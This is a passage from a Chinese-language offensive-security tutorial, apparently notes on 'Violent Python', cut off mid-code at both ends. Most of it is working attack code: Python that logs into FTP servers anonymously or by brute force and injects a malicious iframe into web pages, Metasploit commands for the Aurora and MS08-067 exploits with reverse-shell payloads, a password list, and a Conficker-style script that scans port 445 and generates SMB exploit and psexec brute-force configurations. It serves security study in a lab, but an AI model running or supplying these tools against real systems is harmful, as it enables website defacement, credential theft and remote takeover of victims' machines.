		print '[-] Skipping To Next Target.'
		return

	retList = []
	for filename in dirList:
		#lower()方法將檔名都轉換為小寫的形式
		fn = filename.lower()
		if '.php' in fn or '.asp' in fn or '.htm' in fn:
			print '[+] Found default page: '+filename
			retList.append(filename)
	return retList

host = '10.10.10.130'
username = 'ftpuser'
password = 'ftppassword'
ftp = ftplib.FTP(host)
ftp.login(username,password)
returnDefault(ftp)

執行結果:


【個人修改的程式碼】

#!/usr/bin/python
#coding=utf-8
import ftplib

def returnDefault(ftp):
	try:
		#nlst()方法獲取目錄下的檔案
		dirList = ftp.nlst()
	except:
		dirList = []
		print '[-] Could not list directory contents.'
		print '[-] Skipping To Next Target.'
		return

	retList=[]
	for fileName in dirList:
		#lower()方法將檔名都轉換為小寫的形式
		fn = fileName.lower()
		if '.php' in fn or '.htm' in fn or '.asp' in fn:
			print '[+] Found default page: ' + fileName
			retList.append(fileName)

	if len(retList) == 0:
		print '[-] Could not list directory contents.'
		print '[-] Skipping To Next Target.'
		
	return retList

def main():

	while True:
		host = raw_input('[*]Host >>> ')
		username = raw_input('[*]Username >>> ')
		password = raw_input('[*]Password >>> ')

		try:
			ftp = ftplib.FTP(host)
			ftp.login(username,password)
			returnDefault(ftp)
		except:
			print '[-] Logon failed.'

		print

if __name__ == '__main__':
	main()

執行結果:


在網頁中加入惡意注入程式碼

這裡主要提及利用之前的極光漏洞,先在Kali中開啟Metasploit框架視窗,然後輸入命令:

search ms10_002_aurora

use exploit/windows/browser/ms10_002_aurora

show payloads

set payload windows/shell/reverse_tcp

show options

set SRVHOST 10.10.10.160

set URIPATH /exploit

set LHOST 10.10.10.160

set LPORT 443

exploit

執行之後,分別在win 2k3 server和XP上訪問http://10.10.10.160:8080/exploit 站點,雖然得到了連線資訊但是沒有得到shell,可能是因為IE瀏覽器的版本不存在極光漏洞吧:


過程清晰之後,就實現往目標伺服器的網站檔案中注入訪問http://10.10.10.160:8080/exploit的程式碼即可,整個程式碼如下:

#!/usr/bin/python
#coding=utf-8
import ftplib

def injectPage(ftp,page,redirect):
	f = open(page + '.tmp','w')
	#下載FTP檔案
	ftp.retrlines('RETR ' + page,f.write)
	print '[+] Downloaded Page: ' + page
	f.write(redirect)
	f.close()
	print '[+] Injected Malicious IFrame on: ' + page
	#上傳目標檔案
	ftp.storlines('STOR ' + page,open(page + '.tmp'))
	print '[+] Uploaded Injected Page: ' + page

host = '10.10.10.130'
username = 'ftpuser'
password = 'ftppassword'
ftp = ftplib.FTP(host)
ftp.login(username,password)
redirect = '<iframe src="http://10.10.10.160:8080/exploit"></iframe>'
injectPage(ftp,'index.html',redirect)

執行結果:


顯示下載頁面、注入惡意程式碼、上傳都成功,到伺服器檢視相應的檔案內容,發現注入成功了:


接下來的利用和本小節開頭的一樣,直接開啟msf進行相應的監聽即可。

【個人修改的程式碼】

#!/usr/bin/python
#coding=utf-8
import ftplib

def injectPage(ftp,page,redirect):
	f = open(page + '.tmp','w')
	#下載FTP檔案
	ftp.retrlines('RETR ' + page,f.write)
	print '[+] Downloaded Page: ' + page
	f.write(redirect)
	f.close()
	print '[+] Injected Malicious IFrame on: ' + page
	#上傳目標檔案
	ftp.storlines('STOR ' + page,open(page + '.tmp'))
	print '[+] Uploaded Injected Page: ' + page
	print
def main():
	while True:
		host = raw_input('[*]Host >>> ')
		username = raw_input('[*]Username >>> ')
		password = raw_input('[*]Password >>> ')
		redirect = raw_input('[*]Redirect >>> ')
		print
		try:
			ftp = ftplib.FTP(host)
			ftp.login(username,password)
			injectPage(ftp,'index.html',redirect)
		except:
			print '[-] Logon failed.'

if __name__ == '__main__':
	main()

執行結果:


整合全部的攻擊

這裡將上面幾個小節的程式碼整合到一塊,主要是添加了attack()函式,該函式首先用使用者名稱和密碼登陸FTP伺服器,然後呼叫其他函式搜尋預設網頁並下載同時實現注入和上傳,其實說白了這個函式就是將前面幾個小節的函式整合起來呼叫。

#!/usr/bin/python
#coding=utf-8
import ftplib
import optparse
import time

def attack(username,password,tgtHost,redirect):
	ftp = ftplib.FTP(tgtHost)
	ftp.login(username,password)
	defPages = returnDefault(ftp)
	for defPage in defPages:
		injectPage(ftp,defPage,redirect)

def anonLogin(hostname):
	try:
		ftp = ftplib.FTP(hostname)
		ftp.login('anonymous','[email protected]')
		print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
		ftp.quit()
		return True
	except Exception, e:
		print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'
		return False

def bruteLogin(hostname,passwdFile):
	pF = open(passwdFile,'r')
	for line in pF.readlines():
		username = line.split(':')[0]
		password = line.split(':')[1].strip('\r').strip('\n')
		print '[+] Trying: ' + username + '/' + password
		try:
			ftp = ftplib.FTP(hostname)
			ftp.login(username,password)
			print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
			ftp.quit()
			return (username,password)
		except Exception, e:
			pass
	print '\n[-] Could not brubrute force FTP credentials.'
	return (None,None)

def returnDefault(ftp):
	try:
		#nlst()方法獲取目錄下的檔案
		dirList = ftp.nlst()
	except:
		dirList = []
		print '[-] Could not list directory contents.'
		print '[-] Skipping To Next Target.'
		return

	retList = []
	for filename in dirList:
		#lower()方法將檔名都轉換為小寫的形式
		fn = filename.lower()
		if '.php' in fn or '.asp' in fn or '.htm' in fn:
			print '[+] Found default page: '+filename
			retList.append(filename)
	return retList

def injectPage(ftp,page,redirect):
	f = open(page + '.tmp','w')
	#下載FTP檔案
	ftp.retrlines('RETR ' + page,f.write)
	print '[+] Downloaded Page: ' + page
	f.write(redirect)
	f.close()
	print '[+] Injected Malicious IFrame on: ' + page
	#上傳目標檔案
	ftp.storlines('STOR ' + page,open(page + '.tmp'))
	print '[+] Uploaded Injected Page: ' + page

def main():
	parser = optparse.OptionParser('[*] Usage : ./massCompromise.py  -H <target host[s]> -r <redirect page> -f <userpass file>]')
	parser.add_option('-H',dest='hosts',type='string',help='specify target host')
	parser.add_option('-r',dest='redirect',type='string',help='specify redirect page')
	parser.add_option('-f',dest='file',type='string',help='specify userpass file')
	(options,args) = parser.parse_args()

	#返回hosts列表,若不加split()則只返回一個字元
	hosts = str(options.hosts).split(',')
	redirect = options.redirect
	file = options.file

	#先不用判斷使用者口令檔名是否輸入,因為會先進行匿名登入嘗試
	if hosts == None or redirect == None:
		print parser.usage
		exit(0)

	for host in hosts:
		username = None
		password = None
		if anonLogin(host) == True:
			username = 'anonymous'
			password = '[email protected]'
			print '[+] Using Anonymous Creds to attack'
			attack(username,password,host,redirect)
		elif file != None:
			(username,password) = bruteLogin(host,file)
			if password != None:
				print '[+] Using Cred: ' + username + '/' + password + ' to attack'
				attack(username,password,host,redirect)

if __name__ == '__main__':
	main()

執行結果:


由於可以匿名登入所以可以直接進行注入攻擊。

【個人修改的程式碼】

但是發現就是匿名登入進去的檔案都只是屬於匿名使用者自己的而沒有ftpuser即正常的FTP使用者的檔案,所以為了實現同時進行注入就稍微修改了一下程式碼:

#!/usr/bin/python
#coding=utf-8
import ftplib
import optparse
import time

def attack(username,password,tgtHost,redirect):
	ftp = ftplib.FTP(tgtHost)
	ftp.login(username,password)
	defPages = returnDefault(ftp)
	for defPage in defPages:
		injectPage(ftp,defPage,redirect)

def anonLogin(hostname):
	try:
		ftp = ftplib.FTP(hostname)
		ftp.login('anonymous','[email protected]')
		print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
		ftp.quit()
		return True
	except Exception, e:
		print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'
		return False

def bruteLogin(hostname,passwdFile):
	pF = open(passwdFile,'r')
	for line in pF.readlines():
		username = line.split(':')[0]
		password = line.split(':')[1].strip('\r').strip('\n')
		print '[+] Trying: ' + username + '/' + password
		try:
			ftp = ftplib.FTP(hostname)
			ftp.login(username,password)
			print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
			ftp.quit()
			return (username,password)
		except Exception, e:
			pass
	print '\n[-] Could not brubrute force FTP credentials.'
	return (None,None)

def returnDefault(ftp):
	try:
		#nlst()方法獲取目錄下的檔案
		dirList = ftp.nlst()
	except:
		dirList = []
		print '[-] Could not list directory contents.'
		print '[-] Skipping To Next Target.'
		return

	retList = []
	for filename in dirList:
		#lower()方法將檔名都轉換為小寫的形式
		fn = filename.lower()
		if '.php' in fn or '.asp' in fn or '.htm' in fn:
			print '[+] Found default page: '+filename
			retList.append(filename)
	return retList

def injectPage(ftp,page,redirect):
	f = open(page + '.tmp','w')
	#下載FTP檔案
	ftp.retrlines('RETR ' + page,f.write)
	print '[+] Downloaded Page: ' + page
	f.write(redirect)
	f.close()
	print '[+] Injected Malicious IFrame on: ' + page
	#上傳目標檔案
	ftp.storlines('STOR ' + page,open(page + '.tmp'))
	print '[+] Uploaded Injected Page: ' + page

def main():
	parser = optparse.OptionParser('[*] Usage : ./massCompromise.py  -H <target host[s]> -r <redirect page> -f <userpass file>]')
	parser.add_option('-H',dest='hosts',type='string',help='specify target host')
	parser.add_option('-r',dest='redirect',type='string',help='specify redirect page')
	parser.add_option('-f',dest='file',type='string',help='specify userpass file')
	(options,args) = parser.parse_args()

	#返回hosts列表,若不加split()則只返回一個字元
	hosts = str(options.hosts).split(',')
	redirect = options.redirect
	file = options.file

	#先不用判斷使用者口令檔名是否輸入,因為先進行匿名登入嘗試
	if hosts == None or redirect == None:
		print parser.usage
		exit(0)

	for host in hosts:
		username = None
		password = None
		if anonLogin(host) == True:
			username = 'anonymous'
			password = '[email protected]'
			print '[+] Using Anonymous Creds to attack'
			attack(username,password,host,redirect)
		if file != None:
			(username,password) = bruteLogin(host,file)
			if password != None:
				print '[+] Using Cred: ' + username + '/' + password + ' to attack'
				attack(username,password,host,redirect)

if __name__ == '__main__':
	main()

執行結果:


可以發現兩個使用者中發現的檔案是不一樣的。

4、Conficker,為什麼努力做就夠了

在密碼攻擊的口令列表中值得擁有的11個口令:

aaa

academia

anything

coffee

computer

cookie

oracle

password

secret

super

unknown

使用Metasploit攻擊Windows SMB服務

這裡主要利用了MS08-067的這個漏洞來進行演示

將下面的命令儲存為conficker.rc檔案:

use exploit/windows/smb/ms08_067_netapi

set RHOST 10.10.10.123

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 10.10.10.160

set LPORT 7777

exploit -j -z


這裡exploit命令的-j引數表示攻擊在後臺進行,-z引數表示攻擊完成後不與會話進行互動。

接著輸入命令:msfconsole -r conficker.rc


獲得一個會話session1之後,然後開啟這個session:


這樣就能通過開啟檔案讀取其中命令的方式來執行msf相應的操作,從而獲取了XP的shell。

編寫Python指令碼與Metasploit互動

匯入nmap庫,在findTgts()函式中實現對整個網段的主機445埠的掃描,setupHandler()函式實現目標主機被攻擊後進行遠端互動的監聽器的功能,confickerExploit()函式實現上一小節中conficker.rc指令碼中一樣的內容:

#!/usr/bin/python
#coding=utf-8

import nmap

def findTgts(subNet):
	nmScan = nmap.PortScanner()
	nmScan.scan(subNet,'445')
	tgtHosts = []
	for host in nmScan.all_hosts():
		#若目標主機存在TCP的445埠
		if nmScan[host].has_tcp(445):
			state = nmScan[host]['tcp'][445]['state']
			#並且445埠是開啟的
			if state == 'open':
				print '[+] Found Target Host: ' + host
				tgtHosts.append(host)
	return tgtHosts

def setupHandler(configFile,lhost,lport):
	configFile.write('use exploit/multi/handler\n')
	configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
	configFile.write('set LPORT ' + str(lport) + '\n')
	configFile.write('set LHOST ' + lhost + '\n')
	configFile.write('exploit -j -z\n')

	#設定全域性變數DisablePayloadHandler,讓已經新建一個監聽器之後,後面的所有的主機不會重複新建監聽器
	#其中setg為設定全域性引數
	configFile.write('setg DisablePayloadHandler 1\n')

def confickerExploit(configFile,tgtHost,lhost,lport):
	configFile.write('use exploit/windows/smb/ms08_067_netapi\n')
	configFile.write('set RHOST ' + str(tgtHost) + '\n')
	configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
	configFile.write('set LPORT ' + str(lport) + '\n')
	configFile.write('set LHOST ' + lhost + '\n')

	#-j引數表示攻擊在後臺進行,-z引數表示攻擊完成後不與會話進行互動
	configFile.write('exploit -j -z\n')

注意點就是,在confickerExploit()函式中,指令碼傳送了一條指令在同一個任務(job)的上下文環境中(-j),不與任務進行即時互動的條件下(-z)利用對目標主機上的漏洞。因為這個指令碼是實現批量式操作的,即會滲透多個目標主機,因而不可能同時與各個主機進行互動而必須使用-j和-z引數。


暴力破解口令,遠端執行一個程序

這裡暴力破解SMB使用者名稱/密碼,以此來獲取許可權在目標主機上遠端執行一個程序(psexec),將使用者名稱設為Administrator,然後開啟密碼列表檔案,對檔案中的每個密碼都會生成一個遠端執行進行的Metasploit指令碼,若密碼正確則會返回一個命令列shell:

def smbBrute(configFile,tgtHost,passwdFile,lhost,lport):
	username = 'Administrator'
	pF = open(passwdFile,'r')
	for password in pF.readlines():
		password = password.strip('\n').strip('\r')
		configFile.write('use exploit/windows/smb/psexec\n')
		configFile.write('set SMBUser ' + str(username) + '\n')
		configFile.write('set SMBPass ' + str(password) + '\n')
		configFile.write('set RHOST ' + str(tgtHost) + '\n')
		configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
		configFile.write('set LPORT ' + str(lport) + '\n')
		configFile.write('set LHOST ' + lhost + '\n')
		configFile.write('exploit -j -z\n')

把所有的程式碼放在一起,構成我們自己的Conficker

#!/usr/bin/python
#coding=utf-8

import nmap
import os
import optparse
import sys

def findTgts(subNet):
	nmScan = nmap.PortScanner()
	nmScan.scan(subNet,'445')
	tgtHosts = []
	for host in nmScan.all_hosts():
		#若目標主機存在TCP的445埠
		if nmScan[host].has_tcp(445):
			state = nmScan[host]['tcp'][445]['state']
			#並且445埠是開啟的
			if state == 'open':
				print '[+] Found Target Host: ' + host
				tgtHosts.append(host)
	return tgtHosts

def setupHandler(configFile,lhost,lport):
	configFile.write('use exploit/multi/handler\n')
	configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
	configFile.write('set LPORT ' + str(lport) + '\n')
	configFile.write('set LHOST ' + lhost + '\n')
	configFile.write('exploit -j -z\n')

	#設定全域性變數DisablePayloadHandler,讓已經新建一個監聽器之後,後面的所有的主機不會重複新建監聽器
	#其中setg為設定全域性引數
	configFile.write('setg DisablePayloadHandler 1\n')

def confickerExploit(configFile,tgtHost,lhost,lport):
	configFile.write('use exploi